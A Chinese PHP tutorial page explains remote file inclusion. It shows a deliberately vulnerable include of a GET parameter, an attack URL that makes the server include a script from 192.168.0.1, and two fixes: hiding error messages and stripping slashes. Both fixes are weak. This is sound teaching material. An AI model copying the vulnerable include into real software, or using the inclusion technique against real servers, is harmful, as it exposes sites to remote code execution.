PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
Array of country list in PHP with Zend Framework
Oct 17 PHP
PHP5.5在windows安装使用memcached服务端的方法
Apr 16 PHP
destoon网站转移服务器后搜索汉字出现乱码的解决方法
Jun 21 PHP
PHP中使用Session配合Javascript实现文件上传进度条功能
Oct 15 PHP
php邮箱地址正则表达式验证
Nov 13 PHP
Thinkphp单字母函数使用指南
May 08 PHP
CI框架源码解读之URI.php中_fetch_uri_string()函数用法分析
May 18 PHP
微信网页授权(OAuth2.0) PHP 源码简单实现
Aug 29 PHP
PHP屏蔽关键字实现方法
Nov 17 PHP
PHP 匿名函数与注意事项详细介绍
Nov 26 PHP
PHP数据库编程之MySQL优化策略概述
Aug 16 PHP
PHP多进程通信-消息队列使用
Mar 08 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
实时抓取YAHOO股票报价的代码
2006/10/09 PHP
PHP注释实例技巧
2008/10/03 PHP
php常用图片处理类
2016/03/16 PHP
laravel5使用freetds连接sql server的方法
2018/12/07 PHP
PHP实现微信小程序用户授权的工具类示例
2019/03/05 PHP
jQuery对象和DOM对象使用说明
2010/06/25 Javascript
让ie运行js时提示允许阻止内容运行的解决方法
2010/10/24 Javascript
dojo学习第二天 ajax异步请求之绑定列表
2011/08/29 Javascript
Javascript对象中关于setTimeout和setInterval的this介绍
2012/07/21 Javascript
javascript实现tabs选项卡切换效果(扩展版)
2013/03/19 Javascript
jQuery实现简单的图片查看器
2020/09/11 Javascript
基于javascript实现窗口抖动效果
2016/01/03 Javascript
JavaScript通过HTML的class来获取HTML元素的方法总结
2016/05/24 Javascript
分享一个插件实现水珠自动下落效果
2016/06/01 Javascript
原生js实现秒表计时器功能
2017/02/16 Javascript
jQuery插件FusionCharts实现的MSBar2D图效果示例【附demo源码】
2017/03/24 jQuery
jQuery实现的简单在线计算器功能
2017/05/11 jQuery
JavaScript脚本语言是什么_动力节点Java学院整理
2017/06/26 Javascript
jQuery中常用动画效果函数知识点整理
2018/08/19 jQuery
JavaScript中创建原子的方法总结
2018/08/26 Javascript
原生js实现移动端Touch轮播图的方法步骤
2019/01/03 Javascript
[01:49]一目了然!DOTA2DotA快捷操作对比第二弹
2014/05/16 DOTA
python编写的最短路径算法
2015/03/25 Python
Python简单计算数组元素平均值的方法示例
2017/12/26 Python
python list删除元素时要注意的坑点分享
2018/04/18 Python
树莓派动作捕捉抓拍存储图像脚本
2019/06/22 Python
python判断两个序列的成员是否一样的实例代码
2020/03/01 Python
python小程序基于Jupyter实现天气查询的方法
2020/03/27 Python
python能在浏览器能运行吗
2020/06/17 Python
详解python logging日志传输
2020/07/01 Python
Django自带的用户验证系统实现
2020/12/18 Python
移动端HTML5实现文件上传功能【附代码】
2016/03/25 HTML / CSS
叙述DBMS对数据控制功能有哪些
2016/06/12 面试题
劳资员岗位职责
2013/11/11 职场文书
清洁工表扬信
2014/01/08 职场文书
SQLServer2008提示评估期已过解决方案
2021/04/12 SQL Server